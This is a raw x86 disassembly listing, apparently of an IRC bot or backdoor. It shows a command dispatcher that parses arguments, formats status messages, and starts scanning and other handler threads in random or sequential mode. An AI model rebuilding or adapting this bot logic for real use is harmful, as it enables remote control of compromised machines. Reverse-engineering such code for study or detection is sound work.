loc_4073C9:				; CODE XREF: seg000:004073ABj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4152AE
		jmp	short loc_4073E3
; ---------------------------------------------------------------------------


loc_4073D7:				; CODE XREF: seg000:004073F6j
		lea	eax, [ebp-2BB0h]
		push	eax
		call	sub_41BFCC


loc_4073E3:				; CODE XREF: seg000:004073D5j
		lea	eax, [ebp-2BB0h]
		push	4
		push	eax
		call	sub_41697A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4073D7
		jmp	loc_401F82
; ---------------------------------------------------------------------------


loc_4073FD:				; CODE XREF: seg000:0040724Ej
		push	dword ptr [ebp+18h]
		call	sub_41B969
		push	edi
		mov	[ebp-36Ch], eax
		call	sub_41B969
		push	dword ptr [ebp+8]
		mov	[ebp-354h], eax
		call	sub_41B969
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp-368h], eax
		jnb	short loc_407436
		push	5
		pop	eax
		mov	[ebp-368h], eax


loc_407436:				; CODE XREF: seg000:0040742Bj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_407443
		mov	[ebp-368h], ecx


loc_407443:				; CODE XREF: seg000:0040743Bj
		push	dword ptr [ebp+20h]
		call	sub_41B969
		mov	[ebp-364h], eax
		mov	eax, 320h
		cmp	[ebp-364h], eax
		pop	ecx
		jbe	short loc_407465
		mov	[ebp-364h], eax


loc_407465:				; CODE XREF: seg000:0040745Dj
		or	dword ptr [ebp-350h], 0FFFFFFFFh
		cmp	ds:dword_432A90, ebx
		mov	[ebp+28h], ebx
		jz	short loc_4074B4
		mov	edi, offset dword_432A90


loc_40747C:				; CODE XREF: seg000:00407496j
		push	dword ptr [ebp+18h]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40749A
		inc	dword ptr [ebp+28h]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40747C
		jmp	short loc_4074B4
; ---------------------------------------------------------------------------


loc_40749A:				; CODE XREF: seg000:0040748Cj
		mov	eax, [ebp+28h]
		mov	ecx, eax
		mov	[ebp-350h], eax
		shl	ecx, 6
		mov	ecx, ds:dword_432A90[ecx]
		mov	[ebp-36Ch], ecx


loc_4074B4:				; CODE XREF: seg000:00407475j
					; seg000:00407498j
		cmp	[ebp-36Ch], ebx
		jnz	short loc_4074C6
		push	offset unk_42BD0C
		jmp	loc_406E9B
; ---------------------------------------------------------------------------


loc_4074C6:				; CODE XREF: seg000:004074BAj
		mov	edi, [ebp+esi-7Ch]
		cmp	edi, ebx
		mov	[ebp+8], edi
		jz	short loc_407501
		cmp	byte ptr [edi],	23h
		jz	short loc_407501
		push	edi
		lea	eax, [ebp-480h]
		push	10h
		push	eax
		call	sub_41BB70
		push	78h
		push	edi
		call	sub_41C1A0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp-340h], eax
		jmp	loc_4075DB
; ---------------------------------------------------------------------------


loc_407501:				; CODE XREF: seg000:004074CFj
					; seg000:004074D4j
		cmp	[ebp-8FBh], bl
		jnz	short loc_407523
		cmp	[ebp-8FAh], bl
		jnz	short loc_407523
		cmp	[ebp-8EAh], bl
		jnz	short loc_407523
		push	offset unk_42BCD8
		jmp	loc_406E9B
; ---------------------------------------------------------------------------


loc_407523:				; CODE XREF: seg000:00407507j
					; seg000:0040750Fj ...
		push	10h
		lea	eax, [ebp-2CCh]
		pop	edi
		push	eax
		lea	eax, [ebp-304h]
		push	eax
		mov	[ebp-2CCh], edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_4CDB9C	; getsockname
		mov	al, [ebp-8FBh]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-300h], eax
		push	dword ptr [ebp-300h]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp-480h]
		push	eax
		call	sub_41B7E0
		add	esp, 0Ch
		cmp	[ebp-8EAh], bl
		jz	short loc_4075D5
		xor	eax, eax
		cmp	[ebp-8FBh], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-480h]
		push	eax
		call	sub_41C030
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	[ebp+2Fh], bl
		jle	short loc_4075C9


loc_4075A7:				; CODE XREF: seg000:004075C7j
		cmp	eax, ebx
		jz	short loc_4075C9
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-480h]
		push	30h
		push	eax
		call	sub_41C030
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_4075A7


loc_4075C9:				; CODE XREF: seg000:004075A5j
					; seg000:004075A9j
		mov	dword ptr [ebp-340h], 1
		jmp	short loc_4075DB
; ---------------------------------------------------------------------------


loc_4075D5:				; CODE XREF: seg000:0040757Fj
		mov	[ebp-340h], ebx


loc_4075DB:				; CODE XREF: seg000:004074FCj
					; seg000:004075D3j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-88h]
		mov	[ebp-370h], eax
		mov	eax, [ebp-4]
		mov	[ebp-348h], eax
		mov	eax, [ebp-8]
		mov	[ebp-344h], eax
		mov	edi, 80h
		lea	eax, [ebp-470h]
		push	edi
		push	eax
		call	sub_41BB70
		mov	esi, [ebp+esi-78h]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40762C


loc_407619:				; CODE XREF: seg000:0040764Fj
		push	esi


loc_40761A:				; CODE XREF: seg000:00407639j
		lea	eax, [ebp-3F0h]
		push	edi
		push	eax
		call	sub_41BB70
		add	esp, 0Ch
		jmp	short loc_407657
; ---------------------------------------------------------------------------


loc_40762C:				; CODE XREF: seg000:00407617j
		mov	eax, [ebp+8]
		cmp	eax, ebx
		jz	short loc_40763B
		cmp	byte ptr [eax],	23h
		jnz	short loc_40763B
		push	eax
		jmp	short loc_40761A
; ---------------------------------------------------------------------------


loc_40763B:				; CODE XREF: seg000:00407631j
					; seg000:00407636j
		mov	esi, offset aBo_0 ; "#bo-"
		push	offset dword_43FDB4
		push	esi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407619
		mov	[ebp-3F0h], bl


loc_407657:				; CODE XREF: seg000:0040762Aj
		cmp	[ebp-340h], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_407669
		mov	eax, offset aSequential	; "Sequential"


loc_407669:				; CODE XREF: seg000:00407662j
		push	dword ptr [ebp-354h]
		lea	ecx, [ebp-480h]
		push	dword ptr [ebp-364h]
		push	dword ptr [ebp-368h]
		push	dword ptr [ebp-36Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42BC70
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Bh
		push	eax
		call	sub_40AF71
		add	esp, 2Ch
		mov	[ebp-360h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-480h]
		push	ebx
		push	eax
		push	(offset	loc_40C1A1+1)
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-360h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_4076FA
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BC38
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_4076F2:				; CODE XREF: seg000:00407700j
		push	32h
		call	ds:dword_428064	; Sleep


loc_4076FA:				; CODE XREF: seg000:004076DFj
		cmp	[ebp-33Ch], ebx
		jz	short loc_4076F2
		jmp	loc_406EA9
; ---------------------------------------------------------------------------


loc_407707:				; CODE XREF: seg000:004069D8j
					; seg000:004069EFj
		push	dword ptr [ebp+18h]
		call	sub_40A9E8
		push	edi
		mov	[ebp-4DCh], eax
		call	sub_41B969
		push	dword ptr [ebp+8]
		mov	[ebp-4ECh], eax
		call	sub_41B969
		push	dword ptr [ebp+20h]
		mov	[ebp-4E8h], eax
		call	sub_41B969
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-88h]
		mov	[ebp-4E4h], eax
		lea	eax, [ebp-56Ch]
		mov	[ebp-570h], esi
		push	eax
		call	sub_41B7E0
		add	esp, 1Ch
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-4D4h], edi
		push	dword ptr [ebp-4E8h]
		mov	[ebp-4D0h], eax
		push	dword ptr [ebp-4ECh]
		push	dword ptr [ebp-4E4h]
		push	dword ptr [ebp-4DCh]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42BBE8
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Bh
		push	eax
		call	sub_40AF71
		add	esp, 24h
		mov	[ebp-4E0h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-570h]
		push	ebx
		push	eax
		push	offset sub_40C5B7
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-4E0h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_4077FF
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BBA8
		jmp	loc_403E50
; ---------------------------------------------------------------------------


loc_4077F7:				; CODE XREF: seg000:00407805j
		push	32h
		call	ds:dword_428064	; Sleep


loc_4077FF:				; CODE XREF: seg000:004077E4j
		cmp	[ebp-4CCh], ebx
		jz	short loc_4077F7
		jmp	loc_403E5F
; ---------------------------------------------------------------------------


loc_40780C:				; CODE XREF: seg000:0040699Bj
					; seg000:004069B2j
		push	dword ptr [ebp+18h]
		call	sub_41B969
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_440B50[eax], bl
		jz	loc_409753
		cmp	[ebp-0Ch], ebx
		jz	loc_409753
		push	edi
		call	sub_41B1D0
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_41B1D0
		push	dword ptr [ebp+10h]
		add	esi, eax
		call	sub_41B1D0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BAF0
		mov	esi, eax
		lea	eax, [ebp-2C0h]
		push	esi
		push	offset dword_42BB9C
		push	eax
		call	sub_41BA76
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_409753
		push	dword ptr [ebp+18h]
		call	sub_41B969
		test	eax, eax
		pop	ecx
		jle	loc_409753
		push	dword ptr [ebp+18h]
		call	sub_41B969
		cmp	eax, 400h
		pop	ecx
		jge	loc_409753
		push	ebx
		lea	eax, [ebp-2C0h]
		push	ebx
		push	eax
		push	edi
		push	dword ptr [ebp+18h]
		call	sub_41B969
		imul	eax, 234h
		pop	ecx
		push	ds:dword_440B44[eax]
		call	sub_409966
		push	dword ptr [ebp+18h]
		call	sub_41B969
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_440938[eax], 73h
		jnz	loc_409753
		push	esi
		push	dword ptr [ebp+18h]
		call	sub_41B969
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_440B50
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"


loc_4078FC:				; CODE XREF: seg000:004079FEj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		jmp	loc_40408E
; ---------------------------------------------------------------------------


loc_407926:				; CODE XREF: seg000:0040696Dj
					; seg000:00406984j
		push	dword ptr [ebp+18h]
		call	sub_41B969
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_440B50[eax], bl
		jz	loc_409753
		cmp	[ebp-0Ch], ebx
		jz	loc_409753
		push	edi
		call	sub_41B1D0
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_41B1D0
		push	dword ptr [ebp+10h]
		add	esi, eax
		call	sub_41B1D0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BAF0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409753
		push	dword ptr [ebp+18h]
		call	sub_41B969
		test	eax, eax
		pop	ecx
		jle	loc_409753
		push	dword ptr [ebp+18h]
		call	sub_41B969
		cmp	eax, 400h
		pop	ecx
		jge	loc_409753
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+18h]
		call	sub_41B969
		imul	eax, 234h
		pop	ecx
		push	ds:dword_440B44[eax]
		call	sub_409966
		push	dword ptr [ebp+18h]
		call	sub_41B969
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_440938[eax], 73h
		jnz	loc_409753
		push	esi
		push	dword ptr [ebp+18h]
		call	sub_41B969
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_440B50
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"
		jmp	loc_4078FC
; ---------------------------------------------------------------------------


loc_407A03:				; CODE XREF: seg000:0040693Fj
					; seg000:00406956j
		push	dword ptr [ebp+18h]
		call	ds:dword_4CDC38	; inet_addr
		push	edi
		mov	[ebp-67Ch], eax
		call	sub_41B969
		push	dword ptr [ebp+8]
		mov	[ebp-68Ch], eax
		call	sub_41B969
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-88h]
		mov	[ebp-684h], eax
		lea	eax, [ebp-70Ch]
		mov	[ebp-710h], esi
		push	eax
		call	sub_41B7E0
		add	esp, 14h
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-674h], edi
		push	dword ptr [ebp-684h]
		mov	[ebp-670h], eax
		push	dword ptr [ebp-68Ch]
		push	dword ptr [ebp-67Ch]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42BB40
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Bh
		push	eax
		call	sub_40AF71
		add	esp, 20h
		mov	[ebp-680h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-710h]
		push	ebx
		push	eax
		push	offset sub_40C4C6
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-680h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_407AE8
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BC38
		jmp	loc_403E50
; ---------------------------------------------------------------------------


loc_407AE0:				; CODE XREF: seg000:00407AEEj
		push	32h
		call	ds:dword_428064	; Sleep


loc_407AE8:				; CODE XREF: seg000:00407ACDj
		cmp	[ebp-66Ch], ebx
		jz	short loc_407AE0
		jmp	loc_403E5F
; ---------------------------------------------------------------------------


loc_407AF5:				; CODE XREF: seg000:00406911j
					; seg000:00406928j
		push	dword ptr [ebp+18h]
		call	sub_41B969
		mov	[ebp-1128h], eax
		push	7Fh
		lea	eax, [ebp-122Ch]
		push	edi
		push	eax
		call	sub_41B7E0
		push	dword ptr [ebp+8]
		call	sub_41B969
		push	dword ptr [ebp-88h]
		mov	esi, [ebp+0Ch]
		mov	[ebp-112Ch], eax
		lea	eax, [ebp-11ACh]
		push	80h
		push	eax
		mov	[ebp-1234h], esi
		call	sub_41BB70
		mov	eax, [ebp-8]
		add	esp, 20h
		mov	edi, [ebp-4]
		mov	[ebp-1118h], eax
		push	dword ptr [ebp-112Ch]
		lea	eax, [ebp-122Ch]
		mov	[ebp-111Ch], edi
		push	eax
		push	dword ptr [ebp-1128h]
		push	esi
		call	sub_40AAF8
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42BB04
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	18h
		push	eax
		call	sub_40AF71
		add	esp, 24h
		mov	[ebp-1124h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1234h]
		push	ebx
		push	eax
		push	offset sub_410565
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-1124h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_407BE1
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BAC0
		jmp	loc_403E50
; ---------------------------------------------------------------------------


loc_407BD9:				; CODE XREF: seg000:00407BE7j
		push	32h
		call	ds:dword_428064	; Sleep


loc_407BE1:				; CODE XREF: seg000:00407BC6j
		cmp	[ebp-1114h], ebx
		jz	short loc_407BD9
		jmp	loc_403E5F
; ---------------------------------------------------------------------------


loc_407BEE:				; CODE XREF: seg000:004068E3j
					; seg000:004068FAj
		push	0FFh
		lea	eax, [ebp-25CCh]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41B7E0
		push	0FFh
		lea	eax, [ebp-24CCh]
		push	edi
		push	eax
		call	sub_41B7E0
		push	dword ptr [ebp+8]
		mov	[ebp-23C8h], ebx
		call	sub_41B969
		mov	[ebp-23C4h], eax
		mov	eax, [ebp+esi-80h]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407C47
		push	10h
		push	ebx
		push	eax
		call	sub_41BFB5
		add	esp, 0Ch
		mov	[ebp-23BCh], eax
		jmp	short loc_407C4D
; ---------------------------------------------------------------------------


loc_407C47:				; CODE XREF: seg000:00407C31j
		mov	[ebp-23BCh], ebx


loc_407C4D:				; CODE XREF: seg000:00407C45j
		mov	esi, [ebp+esi-7Ch]
		cmp	esi, ebx
		jz	short loc_407C64
		push	esi
		call	sub_41B969
		pop	ecx
		mov	[ebp-23C0h], eax
		jmp	short loc_407C6A
; ---------------------------------------------------------------------------


loc_407C64:				; CODE XREF: seg000:00407C53j
		mov	[ebp-23C0h], ebx


loc_407C6A:				; CODE XREF: seg000:00407C62j
		movzx	eax, byte ptr [ebp-8F7h]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-88h]
		mov	[ebp-23B8h], eax
		lea	eax, [ebp-264Ch]
		mov	[ebp-2650h], esi
		push	eax
		call	sub_41B7E0
		mov	eax, [ebp-4]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-23B0h], eax
		mov	eax, [ebp-8]
		mov	[ebp-23B4h], eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42BA94
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp-2C0h]
		push	1Dh
		push	eax
		call	sub_40AF71
		add	esp, 28h
		mov	[ebp-23CCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-2650h]
		push	ebx
		push	eax
		push	(offset	loc_41647D+1)
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-23CCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_407D1B
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BA54
		jmp	loc_407FD4
; ---------------------------------------------------------------------------


loc_407D13:				; CODE XREF: seg000:00407D21j
		push	32h
		call	ds:dword_428064	; Sleep


loc_407D1B:				; CODE XREF: seg000:00407D00j
		cmp	[ebp-23ACh], ebx
		jz	short loc_407D13
		jmp	loc_407FE3
; ---------------------------------------------------------------------------


loc_407D28:				; CODE XREF: seg000:004068B5j
					; seg000:004068CCj
		push	7Fh
		lea	eax, [ebp-36A0h]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-3620h]
		push	edi
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-35A0h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-3520h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41B7E0
		push	dword ptr [ebp+8]
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-349Ch], eax
		mov	eax, [ebp-8]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-3498h], eax
		lea	eax, [ebp-2C0h]
		mov	[ebp-36A4h], esi
		push	offset unk_42BA18
		push	eax
		call	sub_41BA76
		add	esp, 44h
		lea	eax, [ebp-2C0h]
		push	ebx
		push	12h
		push	eax
		call	sub_40AF71
		add	esp, 0Ch
		mov	[ebp-34A0h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-36A4h]
		push	ebx
		push	eax
		push	offset byte_414BAF
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-34A0h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_407E02
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B9E0
		jmp	loc_407FD4
; ---------------------------------------------------------------------------


loc_407DFA:				; CODE XREF: seg000:00407E08j
		push	32h
		call	ds:dword_428064	; Sleep


loc_407E02:				; CODE XREF: seg000:00407DE7j
		cmp	[ebp-3494h], ebx
		jz	short loc_407DFA
		jmp	loc_407FE3
; ---------------------------------------------------------------------------


loc_407E0F:				; CODE XREF: seg000:00406789j
					; seg000:004067A0j
		push	7Fh
		lea	eax, [ebp-3278h]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-31F8h]
		push	edi
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-3178h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-30F8h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41B7E0
		push	dword ptr [ebp+8]
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-3074h], eax
		mov	eax, [ebp-8]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-3070h], eax
		lea	eax, [ebp-2C0h]
		mov	[ebp-327Ch], esi
		push	offset unk_42B9B0
		push	eax
		call	sub_41BA76
		add	esp, 44h
		lea	eax, [ebp-2C0h]
		push	ebx
		push	0Eh
		push	eax
		call	sub_40AF71
		add	esp, 0Ch
		mov	[ebp-3078h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-327Ch]
		push	ebx
		push	eax
		push	offset byte_4138F5
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-3078h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_407EE9
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B978
		jmp	loc_407FD4
; ---------------------------------------------------------------------------


loc_407EE1:				; CODE XREF: seg000:00407EEFj
		push	32h
		call	ds:dword_428064	; Sleep


loc_407EE9:				; CODE XREF: seg000:00407ECEj
		cmp	[ebp-306Ch], ebx
		jz	short loc_407EE1
		jmp	loc_407FE3
; ---------------------------------------------------------------------------


loc_407EF6:				; CODE XREF: seg000:00406661j
					; seg000:00406678j ...
		push	7Fh
		lea	eax, [ebp-3F7Ch]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-3EFCh]
		push	edi
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-3E7Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-3DFCh]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41B7E0
		push	20h
		lea	eax, [ebp-3D7Ch]
		push	dword ptr [ebp+10h]
		push	eax
		call	sub_41B7E0
		push	dword ptr [ebp+8]
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-3CFCh], eax
		mov	eax, [ebp-8]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-3CF8h], eax
		lea	eax, [ebp-2C0h]
		mov	[ebp-3F84h], esi
		push	offset unk_42B948
		push	eax
		call	sub_41BA76
		add	esp, 50h
		lea	eax, [ebp-2C0h]
		push	ebx
		push	0Dh
		push	eax
		call	sub_40AF71
		add	esp, 0Ch
		mov	[ebp-3F80h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3F84h]
		push	ebx
		push	eax
		push	offset word_412B8A
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-3F80h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_407FFD
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B910


loc_407FD4:				; CODE XREF: seg000:0040688Aj
					; seg000:0040721Aj ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BA76
		add	esp, 0Ch


loc_407FE3:				; CODE XREF: seg000:0040689Fj
					; seg000:0040722Fj ...
		cmp	[ebp-8], ebx
		jnz	loc_4023FC
		push	ebx
		push	dword ptr [ebp-4]
		jmp	loc_403E6A
; ---------------------------------------------------------------------------


loc_407FF5:				; CODE XREF: seg000:00408003j
		push	32h
		call	ds:dword_428064	; Sleep


loc_407FFD:				; CODE XREF: seg000:00407FC6j
		cmp	[ebp-3CF4h], ebx
		jz	short loc_407FF5
		jmp	short loc_407FE3
; ---------------------------------------------------------------------------


loc_408007:				; CODE XREF: seg000:00406633j
					; seg000:0040664Aj
		push	7Fh
		lea	eax, [ebp-1774h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41B7E0
		push	edi
		call	sub_41B969
		push	3Fh
		mov	[ebp-1624h], eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-16F4h]
		push	eax
		call	sub_41B7E0
		mov	esi, [ebp+esi-80h]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_408052
		push	3Fh
		lea	eax, [ebp-16B4h]
		push	esi
		push	eax
		call	sub_41B7E0
		add	esp, 0Ch


loc_408052:				; CODE XREF: seg000:0040803Ej
		lea	eax, [ebp-16F4h]
		mov	dword ptr [ebp-1620h], 1
		push	eax
		lea	eax, [ebp-1774h]
		push	dword ptr [ebp-1624h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_42B8E0
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Fh
		push	eax
		call	sub_40AF71
		add	esp, 20h
		mov	[ebp-161Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1778h]
		push	ebx
		push	eax
		push	offset sub_401875
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-161Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_4080E1
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B8A4
		jmp	loc_406C70
; ---------------------------------------------------------------------------


loc_4080D9:				; CODE XREF: seg000:004080E7j
		push	32h
		call	ds:dword_428064	; Sleep


loc_4080E1:				; CODE XREF: seg000:004080C6j
		cmp	[ebp-1618h], ebx
		jz	short loc_4080D9
		jmp	loc_406C7F
; ---------------------------------------------------------------------------


loc_4080EE:				; CODE XREF: seg000:004065F3j
					; seg000:0040660Aj
		push	edi
		call	sub_41B969
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-1D60h], eax
		jle	loc_4081DE
		push	dword ptr [ebp+18h]
		mov	esi, 80h
		lea	eax, [ebp-1EE8h]
		push	esi
		push	eax
		call	sub_41BB70
		xor	eax, eax
		cmp	[ebp-8EAh], bl
		push	dword ptr [ebp-88h]
		setnz	al
		mov	[ebp-1D5Ch], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-1EECh], eax
		lea	eax, [ebp-1DE8h]
		push	esi
		push	eax
		call	sub_41BB70
		mov	eax, [ebp-4]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-1D58h], eax
		mov	eax, [ebp-8]
		mov	[ebp-1D54h], eax
		push	offset unk_42B878
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41BB70
		push	ebx
		lea	eax, [ebp-2C0h]


loc_408178:				; CODE XREF: seg000:004081F1j
		push	15h
		push	eax
		call	sub_40AF71
		add	esp, 38h
		mov	[ebp-1D68h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1EECh]
		push	ebx
		push	eax
		push	offset word_412FCE
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-1D68h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_4081D1
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B840
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_4081C9:				; CODE XREF: seg000:004081D7j
		push	32h
		call	ds:dword_428064	; Sleep


loc_4081D1:				; CODE XREF: seg000:004081B6j
		cmp	[ebp-1D50h], ebx
		jz	short loc_4081C9
		jmp	loc_406EA9
; ---------------------------------------------------------------------------


loc_4081DE:				; CODE XREF: seg000:004080FDj
		push	offset unk_42B808
		jmp	loc_406E9B
; ---------------------------------------------------------------------------


loc_4081E8:				; CODE XREF: seg000:004065C5j
